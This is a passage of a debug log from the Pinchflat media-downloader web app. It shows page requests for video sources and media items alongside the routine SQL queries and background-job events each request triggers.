s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:16:02.604 [debug] QUERY OK source="settings" db=0.7ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:16:02.604 [debug] QUERY OK source="settings" db=0.2ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:16:02.604 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 00:16:02.608 [info] Sent 200 in 15ms 00:16:02.609 [debug] QUERY OK source="sources" db=1.6ms queue=0.6ms idle=3.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 00:16:02.610 [debug] QUERY OK source="media_items" db=1.0ms idle=6.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [7] 00:16:02.613 [debug] QUERY OK source="media_items" db=1.8ms idle=6.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [7, 10, 0] 00:16:02.614 [debug] QUERY OK source="sources" db=0.2ms idle=9.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 00:16:02.614 [debug] QUERY OK source="media_items" db=0.3ms idle=9.5ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [7] 00:16:02.616 [debug] QUERY OK source="media_items" db=1.4ms idle=5.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [7, 10, 0] 00:16:02.618 [debug] QUERY OK source="sources" db=0.2ms idle=6.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 00:16:02.619 [debug] QUERY OK source="media_items" db=0.5ms idle=5.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [7] 00:16:02.620 [debug] QUERY OK source="media_items" db=1.4ms idle=4.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [7, 10, 0] 00:16:02.622 [info] Sent 200 in 30ms 00:16:22.785 [info] {"source":"oban","duration":1942,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:16:50.855 [info] GET /sources/6 00:16:50.855 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "6"} Pipelines: [:browser] 00:16:50.857 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=687.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 00:16:50.858 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.2ms idle=688.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 00:16:50.864 [debug] QUERY OK source="tasks" db=5.2ms queue=0.1ms idle=690.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [6, "executing", "available", "scheduled", "retryable"] 00:16:50.865 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=696.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2348] 00:16:50.866 [debug] QUERY OK source="settings" db=0.3ms queue=0.3ms idle=361.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:16:50.867 [debug] QUERY OK source="settings" db=0.2ms queue=0.2ms idle=9.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:16:50.868 [debug] QUERY OK source="settings" db=0.3ms idle=9.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:16:50.871 [debug] QUERY OK source="sources" db=0.2ms idle=6.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 00:16:50.873 [debug] QUERY OK source="media_items" db=0.7ms idle=7.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [6] 00:16:50.874 [debug] QUERY OK source="media_items" db=0.9ms queue=0.2ms idle=6.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [6, 10, 0] 00:16:50.876 [debug] QUERY OK source="sources" db=0.4ms idle=8.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 00:16:50.879 [debug] QUERY OK source="media_items" db=3.3ms idle=7.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [6] 00:16:50.880 [debug] QUERY OK source="media_items" db=0.4ms idle=8.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [6, 10, 0] 00:16:50.882 [debug] QUERY OK source="sources" db=0.2ms idle=8.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 00:16:50.882 [debug] QUERY OK source="media_items" db=0.3ms idle=7.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [6] 00:16:50.887 [debug] QUERY OK source="media_items" db=4.2ms idle=6.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [6, 10, 0] 00:16:50.888 [info] Sent 200 in 32ms 00:16:52.792 [info] {"source":"oban","duration":1946,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:17:00.910 [info] {"source":"oban","duration":736,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:17:04.184 [info] GET /sources 00:17:04.184 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 00:17:04.186 [debug] QUERY OK source="settings" db=0.8ms idle=601.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:17:04.187 [debug] QUERY OK source="settings" db=0.3ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:17:04.188 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:17:04.188 [debug] QUERY OK source="settings" db=0.3ms idle=5.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:17:04.189 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=5.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:17:04.204 [debug] QUERY OK source="sources" db=14.1ms idle=3.6ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 00:17:04.254 [debug] QUERY OK source="sources" db=49.3ms queue=0.1ms idle=17.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 00:17:04.257 [info] Sent 200 in 73ms 00:17:22.800 [info] {"source":"oban","duration":2543,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:17:45.346 [info] GET /sources/7/media/14408 00:17:45.347 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "14408", "source_id" => "7"} Pipelines: [:browser] 00:17:45.349 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=1084.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" 